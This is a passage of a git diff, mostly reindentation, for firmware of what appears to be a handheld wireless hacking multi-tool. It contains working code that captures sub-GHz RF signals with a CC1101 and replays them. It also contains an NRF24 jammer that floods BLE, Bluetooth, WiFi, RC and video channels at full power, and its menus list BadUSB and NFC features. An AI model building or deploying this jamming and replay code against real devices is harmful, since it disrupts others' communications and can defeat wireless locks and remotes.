Serial.println("Capture stopped");
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== DEBUG PRINT =====
|
// ===== DEBUG PRINT =====
|
||||||
void printCapture() {
|
void printCapture() {
|
||||||
Serial.println("Captured pulses:");
|
Serial.println("Captured pulses:");
|
||||||
|
|
||||||
for (int i = 0; i < pulseIndex; i++) {
|
for (int i = 0; i < pulseIndex; i++) {
|
||||||
Serial.println(captureBuffer[i]);
|
Serial.println(captureBuffer[i]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ================= REPLAY =================
|
// ================= REPLAY =================
|
||||||
void replaySignal() {
|
void replaySignal() {
|
||||||
Serial.println();
|
Serial.println();
|
||||||
Serial.println("Replaying signal...");
|
Serial.println("Replaying signal...");
|
||||||
|
|
||||||
stopCapture();
|
stopCapture();
|
||||||
|
|
||||||
ELECHOUSE_cc1101.SetTx();
|
ELECHOUSE_cc1101.SetTx();
|
||||||
|
|
||||||
pinMode(CC1101_GDO0, OUTPUT);
|
pinMode(CC1101_GDO0, OUTPUT);
|
||||||
|
|
||||||
for (int i = 0; i < pulseIndex; i++) {
|
for (int i = 0; i < pulseIndex; i++) {
|
||||||
digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
|
digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
|
||||||
|
|
||||||
delayMicroseconds(captureBuffer[i]);
|
delayMicroseconds(captureBuffer[i]);
|
||||||
}
|
}
|
||||||
|
|
||||||
digitalWrite(CC1101_GDO0, LOW);
|
digitalWrite(CC1101_GDO0, LOW);
|
||||||
|
|
||||||
ELECHOUSE_cc1101.SetRx();
|
ELECHOUSE_cc1101.SetRx();
|
||||||
|
|
||||||
pinMode(CC1101_GDO0, INPUT);
|
pinMode(CC1101_GDO0, INPUT);
|
||||||
|
|
||||||
Serial.println("Replay complete");
|
Serial.println("Replay complete");
|
||||||
}
|
}
|
||||||
|
|
||||||
void captureAndDisplay() {
|
void captureAndDisplay() {
|
||||||
if (!cc1101Inited) {
|
if (!cc1101Inited) {
|
||||||
if (!initCC1101()) {
|
if (!initCC1101()) {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
u8g2.drawStr(0, 20, "CC1101 Failed");
|
u8g2.drawStr(0, 20, "CC1101 Failed");
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
startCapture();
|
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
|
||||||
u8g2.drawStr(0, 12, "CC1101 Capture");
|
|
||||||
u8g2.drawStr(0, 28, "Waiting RF...");
|
|
||||||
u8g2.drawStr(0, 60, "BACK = Exit");
|
|
||||||
u8g2.sendBuffer();
|
|
||||||
|
|
||||||
unsigned long lastSignal = millis();
|
|
||||||
int lastPulseCount = 0;
|
|
||||||
|
|
||||||
while (true) {
|
|
||||||
// signal detected
|
|
||||||
if (pulseIndex > lastPulseCount) {
|
|
||||||
lastPulseCount = pulseIndex;
|
|
||||||
lastSignal = millis();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// update OLED
|
startCapture();
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
|
||||||
u8g2.drawStr(0, 12, "CC1101 Capture");
|
u8g2.drawStr(0, 12, "CC1101 Capture");
|
||||||
|
u8g2.drawStr(0, 28, "Waiting RF...");
|
||||||
u8g2.setCursor(0, 28);
|
u8g2.drawStr(0, 60, "BACK = Exit");
|
||||||
u8g2.print("Pulses: ");
|
|
||||||
u8g2.print(pulseIndex);
|
|
||||||
|
|
||||||
u8g2.setCursor(0, 42);
|
|
||||||
u8g2.print("Freq: ");
|
|
||||||
u8g2.print(currentFreq);
|
|
||||||
u8g2.print(" MHz");
|
|
||||||
|
|
||||||
if (pulseIndex > 0) {
|
|
||||||
u8g2.drawStr(0, 54, "Signal Detected");
|
|
||||||
} else {
|
|
||||||
u8g2.drawStr(0, 54, "Waiting...");
|
|
||||||
}
|
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
// auto print once capture stabilizes
|
unsigned long lastSignal = millis();
|
||||||
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
|
int lastPulseCount = 0;
|
||||||
stopCapture();
|
|
||||||
|
|
||||||
Serial.println();
|
while (true) {
|
||||||
Serial.println("===== RF CAPTURE =====");
|
// signal detected
|
||||||
|
if (pulseIndex > lastPulseCount) {
|
||||||
|
lastPulseCount = pulseIndex;
|
||||||
|
lastSignal = millis();
|
||||||
|
}
|
||||||
|
|
||||||
for (int i = 0; i < pulseIndex; i++) {
|
// update OLED
|
||||||
Serial.print(captureBuffer[i]);
|
u8g2.clearBuffer();
|
||||||
Serial.print(", ");
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
}
|
|
||||||
|
|
||||||
Serial.println();
|
u8g2.drawStr(0, 12, "CC1101 Capture");
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
u8g2.setCursor(0, 28);
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.print("Pulses: ");
|
||||||
u8g2.drawStr(0, 15, "Capture Complete");
|
u8g2.print(pulseIndex);
|
||||||
|
|
||||||
u8g2.setCursor(0, 35);
|
u8g2.setCursor(0, 42);
|
||||||
|
u8g2.print("Freq: ");
|
||||||
|
u8g2.print(currentFreq);
|
||||||
|
u8g2.print(" MHz");
|
||||||
|
|
||||||
|
if (pulseIndex > 0) {
|
||||||
|
u8g2.drawStr(0, 54, "Signal Detected");
|
||||||
|
} else {
|
||||||
|
u8g2.drawStr(0, 54, "Waiting...");
|
||||||
|
}
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
// auto print once capture stabilizes
|
||||||
|
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
|
||||||
|
stopCapture();
|
||||||
|
|
||||||
|
Serial.println();
|
||||||
|
Serial.println("===== RF CAPTURE =====");
|
||||||
|
|
||||||
|
for (int i = 0; i < pulseIndex; i++) {
|
||||||
|
Serial.print(captureBuffer[i]);
|
||||||
|
Serial.print(", ");
|
||||||
|
}
|
||||||
|
|
||||||
|
Serial.println();
|
||||||
|
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
u8g2.drawStr(0, 15, "Capture Complete");
|
||||||
|
|
||||||
|
u8g2.setCursor(0, 35);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void handleMenu() {
|
void handleMenu() {
|
||||||
if (!isCC1101Ready()) {
|
if (!isCC1101Ready()) {
|
||||||
if (!initCC1101()) {
|
if (!initCC1101()) {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
u8g2.drawStr(0, 20, "CC1101 Failed");
|
u8g2.drawStr(0, 20, "CC1101 Failed");
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
delay(1500);
|
delay(1500);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
pulseIndex = 0;
|
|
||||||
|
|
||||||
startCapture();
|
|
||||||
|
|
||||||
// ===== CAPTURE FOR 5 SEC =====
|
|
||||||
unsigned long start = millis();
|
|
||||||
|
|
||||||
while (millis() - start < 5000) {
|
|
||||||
noInterrupts();
|
|
||||||
int count = pulseIndex;
|
|
||||||
interrupts();
|
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
|
||||||
|
|
||||||
u8g2.drawStr(0, 12, "RF Capturing...");
|
|
||||||
|
|
||||||
u8g2.setCursor(0, 30);
|
|
||||||
u8g2.print("Pulses: ");
|
|
||||||
u8g2.print(count);
|
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
|
||||||
|
|
||||||
delay(50);
|
|
||||||
}
|
|
||||||
|
|
||||||
stopCapture();
|
|
||||||
|
|
||||||
// ===== DISPLAY CAPTURE BUFFER =====
|
|
||||||
int scroll = 0;
|
|
||||||
|
|
||||||
while (1) {
|
|
||||||
noInterrupts();
|
|
||||||
int count = pulseIndex;
|
|
||||||
interrupts();
|
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
|
||||||
u8g2.setFont(u8g2_font_5x8_tr);
|
|
||||||
|
|
||||||
u8g2.drawStr(0, 8, "Captured Buffer");
|
|
||||||
|
|
||||||
// display 6 lines
|
|
||||||
for (int i = 0; i < 6; i++) {
|
|
||||||
int idx = scroll + i;
|
|
||||||
|
|
||||||
if (idx >= count)
|
|
||||||
break;
|
|
||||||
|
|
||||||
noInterrupts();
|
|
||||||
unsigned long val = captureBuffer[idx];
|
|
||||||
interrupts();
|
|
||||||
|
|
||||||
char buf[32];
|
|
||||||
|
|
||||||
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
|
|
||||||
|
|
||||||
u8g2.drawStr(0, 20 + (i * 8), buf);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
pulseIndex = 0;
|
||||||
|
|
||||||
// scroll down
|
startCapture();
|
||||||
if (btnDown()) {
|
|
||||||
if (scroll < count - 1)
|
|
||||||
scroll++;
|
|
||||||
|
|
||||||
delay(120);
|
// ===== CAPTURE FOR 5 SEC =====
|
||||||
|
unsigned long start = millis();
|
||||||
|
|
||||||
|
while (millis() - start < 5000) {
|
||||||
|
noInterrupts();
|
||||||
|
int count = pulseIndex;
|
||||||
|
interrupts();
|
||||||
|
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
|
||||||
|
u8g2.drawStr(0, 12, "RF Capturing...");
|
||||||
|
|
||||||
|
u8g2.setCursor(0, 30);
|
||||||
|
u8g2.print("Pulses: ");
|
||||||
|
u8g2.print(count);
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
delay(50);
|
||||||
}
|
}
|
||||||
|
|
||||||
// scroll up
|
stopCapture();
|
||||||
if (btnUp()) {
|
|
||||||
if (scroll > 0)
|
|
||||||
scroll--;
|
|
||||||
|
|
||||||
delay(120);
|
// ===== DISPLAY CAPTURE BUFFER =====
|
||||||
|
int scroll = 0;
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
noInterrupts();
|
||||||
|
int count = pulseIndex;
|
||||||
|
interrupts();
|
||||||
|
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_5x8_tr);
|
||||||
|
|
||||||
|
u8g2.drawStr(0, 8, "Captured Buffer");
|
||||||
|
|
||||||
|
// display 6 lines
|
||||||
|
for (int i = 0; i < 6; i++) {
|
||||||
|
int idx = scroll + i;
|
||||||
|
|
||||||
|
if (idx >= count)
|
||||||
|
break;
|
||||||
|
|
||||||
|
noInterrupts();
|
||||||
|
unsigned long val = captureBuffer[idx];
|
||||||
|
interrupts();
|
||||||
|
|
||||||
|
char buf[32];
|
||||||
|
|
||||||
|
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
|
||||||
|
|
||||||
|
u8g2.drawStr(0, 20 + (i * 8), buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
// scroll down
|
||||||
|
if (btnDown()) {
|
||||||
|
if (scroll < count - 1)
|
||||||
|
scroll++;
|
||||||
|
|
||||||
|
delay(120);
|
||||||
|
}
|
||||||
|
|
||||||
|
// scroll up
|
||||||
|
if (btnUp()) {
|
||||||
|
if (scroll > 0)
|
||||||
|
scroll--;
|
||||||
|
|
||||||
|
delay(120);
|
||||||
|
}
|
||||||
|
|
||||||
|
// replay
|
||||||
|
if (btnSelect()) {
|
||||||
|
replaySignal();
|
||||||
|
delay(300);
|
||||||
|
}
|
||||||
|
|
||||||
|
// exit
|
||||||
|
if (btnBack()) {
|
||||||
|
delay(150);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
delay(20);
|
||||||
}
|
}
|
||||||
|
|
||||||
// replay
|
|
||||||
if (btnSelect()) {
|
|
||||||
replaySignal();
|
|
||||||
delay(300);
|
|
||||||
}
|
|
||||||
|
|
||||||
// exit
|
|
||||||
if (btnBack()) {
|
|
||||||
delay(150);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
delay(20);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
189
src/rf/nrf24.cpp
189
src/rf/nrf24.cpp
|
|
@ -21,19 +21,19 @@ const byte zigbee_channels[] = {11, 15, 20, 25};
|
||||||
const byte rc_channels[] = {1, 3, 5, 7};
|
const byte rc_channels[] = {1, 3, 5, 7};
|
||||||
|
|
||||||
void initNRF(RF24 &radio) {
|
void initNRF(RF24 &radio) {
|
||||||
if (!radio.begin(RADIO_SPI)) {
|
if (!radio.begin(RADIO_SPI)) {
|
||||||
Serial.println("NRF not found");
|
Serial.println("NRF not found");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
radio.setAutoAck(false);
|
radio.setAutoAck(false);
|
||||||
radio.stopListening();
|
radio.stopListening();
|
||||||
radio.setRetries(0, 0);
|
radio.setRetries(0, 0);
|
||||||
radio.setPALevel(RF24_PA_MAX, true);
|
radio.setPALevel(RF24_PA_MAX, true);
|
||||||
radio.setDataRate(RF24_2MBPS);
|
radio.setDataRate(RF24_2MBPS);
|
||||||
radio.openWritingPipe(0xE7E7E7E7E7LL);
|
radio.openWritingPipe(0xE7E7E7E7E7LL);
|
||||||
radio.setCRCLength(RF24_CRC_DISABLED);
|
radio.setCRCLength(RF24_CRC_DISABLED);
|
||||||
Serial.println("NRF Initialized");
|
Serial.println("NRF Initialized");
|
||||||
}
|
}
|
||||||
|
|
||||||
// void startBleJammer() {
|
// void startBleJammer() {
|
||||||
|
|
@ -110,107 +110,108 @@ void initNRF(RF24 &radio) {
|
||||||
// }
|
// }
|
||||||
|
|
||||||
void startJammer(const char *name, const byte *channels, size_t channelCount) {
|
void startJammer(const char *name, const byte *channels, size_t channelCount) {
|
||||||
initNRF(radio1);
|
initNRF(radio1);
|
||||||
initNRF(radio2);
|
initNRF(radio2);
|
||||||
|
|
||||||
Serial.println("NRF JAMMER STARTED");
|
Serial.println("NRF JAMMER STARTED");
|
||||||
|
|
||||||
const char payload[] = "xxxxxxxxxxxxxxxx";
|
const char payload[] = "xxxxxxxxxxxxxxxx";
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.setFont(u8g2_font_6x10_tr);
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
u8g2.drawStr(0, 15, "NRF24 Jammer");
|
u8g2.drawStr(0, 15, "NRF24 Jammer");
|
||||||
u8g2.drawStr(0, 35, name);
|
u8g2.drawStr(0, 35, name);
|
||||||
u8g2.drawStr(0, 55, "BACK = Exit");
|
u8g2.drawStr(0, 55, "BACK = Exit");
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
for (size_t i = 0; i < channelCount; i++) {
|
for (size_t i = 0; i < channelCount; i++) {
|
||||||
// radio1.setChannel(channels[i]);
|
// radio1.setChannel(channels[i]);
|
||||||
// radio1.write(&payload, sizeof(payload));
|
// radio1.write(&payload, sizeof(payload));
|
||||||
|
|
||||||
// Optional second NRF
|
// Optional second NRF
|
||||||
// radio2.setChannel(channels[i]);
|
// radio2.setChannel(channels[i]);
|
||||||
// radio2.write(&payload, sizeof(payload));
|
// radio2.write(&payload, sizeof(payload));
|
||||||
|
|
||||||
radio1.setChannel(channels[i]);
|
radio1.setChannel(channels[i]);
|
||||||
radio2.setChannel(channels[(i + 1) % channelCount]);
|
radio2.setChannel(channels[(i + 1) % channelCount]);
|
||||||
|
|
||||||
radio1.writeFast(&payload, sizeof(payload));
|
radio1.writeFast(&payload, sizeof(payload));
|
||||||
radio2.writeFast(&payload, sizeof(payload));
|
radio2.writeFast(&payload, sizeof(payload));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (btnBack()) {
|
||||||
|
Serial.println("Jammer stopped");
|
||||||
|
radio1.powerDown();
|
||||||
|
radio2.powerDown();
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (btnBack()) {
|
// while (true) {
|
||||||
Serial.println("Jammer stopped");
|
// for (size_t i = 0; i < channelCount; i++)
|
||||||
radio1.powerDown();
|
//{
|
||||||
radio2.powerDown();
|
// radio1.setChannel(channels[i]);
|
||||||
return;
|
// radio2.setChannel(channels[(i + 1) % channelCount]);
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// while (true) {
|
// radio1.writeFast(&payload, sizeof(payload));
|
||||||
// for (size_t i = 0; i < channelCount; i++)
|
// radio2.writeFast(&payload, sizeof(payload));
|
||||||
//{
|
|
||||||
// radio1.setChannel(channels[i]);
|
|
||||||
// radio2.setChannel(channels[(i + 1) % channelCount]);
|
|
||||||
|
|
||||||
// radio1.writeFast(&payload, sizeof(payload));
|
// radio1.txStandBy(1);
|
||||||
// radio2.writeFast(&payload, sizeof(payload));
|
// radio2.txStandBy(1);
|
||||||
|
|
||||||
// radio1.txStandBy(1);
|
// delayMicroseconds(200);
|
||||||
// radio2.txStandBy(1);
|
//}
|
||||||
|
|
||||||
// delayMicroseconds(200);
|
// if (btnBack())
|
||||||
//}
|
//{
|
||||||
|
// Serial.println("Jammer stopped");
|
||||||
|
|
||||||
// if (btnBack())
|
// radio1.powerDown();
|
||||||
//{
|
// radio2.powerDown();
|
||||||
// Serial.println("Jammer stopped");
|
|
||||||
|
|
||||||
// radio1.powerDown();
|
// return;
|
||||||
// radio2.powerDown();
|
//}
|
||||||
|
//}
|
||||||
// return;
|
|
||||||
//}
|
|
||||||
//}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void NRFToolsMenu(int index) {
|
void NRFToolsMenu(int index) {
|
||||||
switch (index) {
|
switch (index) {
|
||||||
case 0:
|
case 0:
|
||||||
// startBleJammer();
|
// startBleJammer();
|
||||||
// BLE
|
// BLE
|
||||||
startJammer("BLE", bleChannels,
|
startJammer("BLE", bleChannels,
|
||||||
sizeof(bleChannels) / sizeof(bleChannels[0]));
|
sizeof(bleChannels) / sizeof(bleChannels[0]));
|
||||||
|
|
||||||
break;
|
break;
|
||||||
case 1:
|
case 1:
|
||||||
// startBluetoothJammer();
|
// startBluetoothJammer();
|
||||||
// Bluetooth
|
// Bluetooth
|
||||||
startJammer("Bluetooth", bluetoothChannels,
|
startJammer("Bluetooth", bluetoothChannels,
|
||||||
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
|
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 2:
|
case 2:
|
||||||
startJammer("WiFi", wifiChannels,
|
startJammer("WiFi", wifiChannels,
|
||||||
sizeof(wifiChannels) / sizeof(wifiChannels[0]));
|
sizeof(wifiChannels) / sizeof(wifiChannels[0]));
|
||||||
break;
|
break;
|
||||||
case 3:
|
case 3:
|
||||||
startJammer("USB Wireless", usbWireless_channels,
|
startJammer("USB Wireless", usbWireless_channels,
|
||||||
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
|
sizeof(usbWireless_channels) /
|
||||||
break;
|
sizeof(usbWireless_channels[0]));
|
||||||
case 4:
|
break;
|
||||||
startJammer("Video TX", videoTransmitter_channels,
|
case 4:
|
||||||
sizeof(videoTransmitter_channels) /
|
startJammer("Video TX", videoTransmitter_channels,
|
||||||
sizeof(videoTransmitter_channels[0]));
|
sizeof(videoTransmitter_channels) /
|
||||||
break;
|
sizeof(videoTransmitter_channels[0]));
|
||||||
case 5:
|
break;
|
||||||
break;
|
case 5:
|
||||||
startJammer("RC", rc_channels,
|
break;
|
||||||
sizeof(rc_channels) / sizeof(rc_channels[0]));
|
startJammer("RC", rc_channels,
|
||||||
break;
|
sizeof(rc_channels) / sizeof(rc_channels[0]));
|
||||||
case 6:
|
break;
|
||||||
|
case 6:
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -8,6 +8,6 @@ void initNRF(RF24 &radio);
|
||||||
void startBluetoothJammer();
|
void startBluetoothJammer();
|
||||||
void startBleJammer();
|
void startBleJammer();
|
||||||
|
|
||||||
void startJammer(const char* name, const byte* channels, size_t channelCount);
|
void startJammer(const char *name, const byte *channels, size_t channelCount);
|
||||||
|
|
||||||
void NRFToolsMenu(int index);
|
void NRFToolsMenu(int index);
|
||||||
|
|
|
||||||
|
|
@ -5,7 +5,7 @@
|
||||||
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
|
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
|
||||||
|
|
||||||
void displayInit() {
|
void displayInit() {
|
||||||
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
|
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
|
||||||
u8g2.begin();
|
u8g2.begin();
|
||||||
u8g2.setFont(u8g2_font_6x12_tr);
|
u8g2.setFont(u8g2_font_6x12_tr);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
412
src/ui/menu.cpp
412
src/ui/menu.cpp
|
|
@ -67,250 +67,250 @@ bool insideFeature = false;
|
||||||
// ================= DRAW =================
|
// ================= DRAW =================
|
||||||
|
|
||||||
void drawMenu() {
|
void drawMenu() {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
|
|
||||||
// scroll handling
|
// scroll handling
|
||||||
if (menuIndex < menuOffset)
|
if (menuIndex < menuOffset)
|
||||||
menuOffset = menuIndex;
|
menuOffset = menuIndex;
|
||||||
|
|
||||||
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
|
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
|
||||||
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
|
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
|
||||||
|
|
||||||
for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
|
for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
|
||||||
int item = menuOffset + i;
|
int item = menuOffset + i;
|
||||||
|
|
||||||
if (item >= currentMenu->size)
|
if (item >= currentMenu->size)
|
||||||
break;
|
break;
|
||||||
|
|
||||||
if (item == menuIndex)
|
if (item == menuIndex)
|
||||||
u8g2.drawStr(0, 14 + i * 14, ">");
|
u8g2.drawStr(0, 14 + i * 14, ">");
|
||||||
|
|
||||||
u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
|
u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
|
||||||
}
|
}
|
||||||
|
|
||||||
// scroll indicators
|
// scroll indicators
|
||||||
if (menuOffset > 0)
|
if (menuOffset > 0)
|
||||||
u8g2.drawStr(118, 10, "^");
|
u8g2.drawStr(118, 10, "^");
|
||||||
|
|
||||||
if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
|
if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
|
||||||
u8g2.drawStr(118, 62, "v");
|
u8g2.drawStr(118, 62, "v");
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
// ================= FEATURE EXECUTION =================
|
// ================= FEATURE EXECUTION =================
|
||||||
|
|
||||||
void launchFeature() {
|
void launchFeature() {
|
||||||
insideFeature = true;
|
insideFeature = true;
|
||||||
|
|
||||||
if (currentMenu == &mainMenu) {
|
if (currentMenu == &mainMenu) {
|
||||||
switch (menuIndex) {
|
switch (menuIndex) {
|
||||||
case 0: // BadUSB → enter submenu
|
case 0: // BadUSB → enter submenu
|
||||||
currentMenu = &badusbMenu;
|
currentMenu = &badusbMenu;
|
||||||
menuIndex = 0;
|
menuIndex = 0;
|
||||||
menuOffset = 0;
|
menuOffset = 0;
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 1:
|
case 1:
|
||||||
handleMenu();
|
handleMenu();
|
||||||
break;
|
break;
|
||||||
case 2:
|
case 2:
|
||||||
// startNRFJammer();
|
// startNRFJammer();
|
||||||
// startBleJammer();
|
// startBleJammer();
|
||||||
// startBluetoothJammer();
|
// startBluetoothJammer();
|
||||||
currentMenu = &nrfToolsMenu;
|
currentMenu = &nrfToolsMenu;
|
||||||
menuIndex = 0;
|
menuIndex = 0;
|
||||||
menuOffset = 0;
|
menuOffset = 0;
|
||||||
break;
|
break;
|
||||||
|
|
||||||
break;
|
break;
|
||||||
case 3:
|
case 3:
|
||||||
ble_scan();
|
ble_scan();
|
||||||
ble_drawMenu();
|
ble_drawMenu();
|
||||||
while (1) {
|
while (1) {
|
||||||
ble_loop();
|
ble_loop();
|
||||||
if (btnBack())
|
if (btnBack())
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 4: {
|
case 4: {
|
||||||
// Start scan once
|
// Start scan once
|
||||||
wifi_scan_start();
|
wifi_scan_start();
|
||||||
wifi_scan_draw();
|
wifi_scan_draw();
|
||||||
|
|
||||||
while (1) {
|
while (1) {
|
||||||
wifi_scan_loop();
|
wifi_scan_loop();
|
||||||
// EXIT condition handled ONLY here
|
// EXIT condition handled ONLY here
|
||||||
if (btnBack()) {
|
if (btnBack()) {
|
||||||
delay(150); // debounce
|
delay(150); // debounce
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case 5: {
|
case 5: {
|
||||||
|
|
||||||
wifi_analyzer_start();
|
wifi_analyzer_start();
|
||||||
|
|
||||||
bool prevBack = false;
|
bool prevBack = false;
|
||||||
while (1) {
|
while (1) {
|
||||||
wifi_analyzer_loop();
|
wifi_analyzer_loop();
|
||||||
bool nowBack = btnBack();
|
bool nowBack = btnBack();
|
||||||
if (nowBack && !prevBack) {
|
if (nowBack && !prevBack) {
|
||||||
delay(150);
|
delay(150);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
prevBack = nowBack;
|
prevBack = nowBack;
|
||||||
}
|
}
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case 6:
|
|
||||||
runSystemInfoFeature();
|
|
||||||
break;
|
|
||||||
case 7:
|
|
||||||
device_check_run();
|
|
||||||
break;
|
|
||||||
case 8: {
|
|
||||||
// wait for button release
|
|
||||||
delay(200);
|
|
||||||
|
|
||||||
while (btnSelect())
|
|
||||||
delay(10);
|
|
||||||
bool confirm = false;
|
|
||||||
|
|
||||||
while (1) {
|
|
||||||
u8g2.clearBuffer();
|
|
||||||
u8g2.setFont(u8g2_font_6x13_tr);
|
|
||||||
|
|
||||||
u8g2.drawStr(18, 18, "Restart Device?");
|
|
||||||
|
|
||||||
if (confirm) {
|
|
||||||
u8g2.drawBox(10, 35, 45, 15);
|
|
||||||
u8g2.setDrawColor(0);
|
|
||||||
u8g2.drawStr(20, 47, "YES");
|
|
||||||
u8g2.setDrawColor(1);
|
|
||||||
|
|
||||||
u8g2.drawStr(75, 47, "NO");
|
|
||||||
} else {
|
|
||||||
u8g2.drawStr(20, 47, "YES");
|
|
||||||
|
|
||||||
u8g2.drawBox(65, 35, 45, 15);
|
|
||||||
u8g2.setDrawColor(0);
|
|
||||||
u8g2.drawStr(78, 47, "NO");
|
|
||||||
u8g2.setDrawColor(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
|
||||||
|
|
||||||
if (btnLeft() || btnUp()) {
|
|
||||||
confirm = true;
|
|
||||||
delay(150);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (btnRight() || btnDown()) {
|
|
||||||
confirm = false;
|
|
||||||
delay(150);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (btnSelect()) {
|
|
||||||
delay(150);
|
|
||||||
|
|
||||||
if (confirm) {
|
|
||||||
u8g2.clearBuffer();
|
|
||||||
u8g2.drawStr(28, 30, "Restarting...");
|
|
||||||
u8g2.sendBuffer();
|
|
||||||
|
|
||||||
delay(1000);
|
|
||||||
ESP.restart();
|
|
||||||
} else {
|
|
||||||
break;
|
break;
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (btnBack()) {
|
case 6:
|
||||||
delay(150);
|
runSystemInfoFeature();
|
||||||
break;
|
break;
|
||||||
}
|
case 7:
|
||||||
}
|
device_check_run();
|
||||||
} break;
|
break;
|
||||||
|
case 8: {
|
||||||
|
// wait for button release
|
||||||
|
delay(200);
|
||||||
|
|
||||||
case 9:
|
while (btnSelect())
|
||||||
// Begin Ble mouse
|
delay(10);
|
||||||
bleMouse.begin();
|
bool confirm = false;
|
||||||
ble_mouse_run();
|
|
||||||
break;
|
while (1) {
|
||||||
case 10:
|
u8g2.clearBuffer();
|
||||||
pn532_scan_loop();
|
u8g2.setFont(u8g2_font_6x13_tr);
|
||||||
break;
|
|
||||||
|
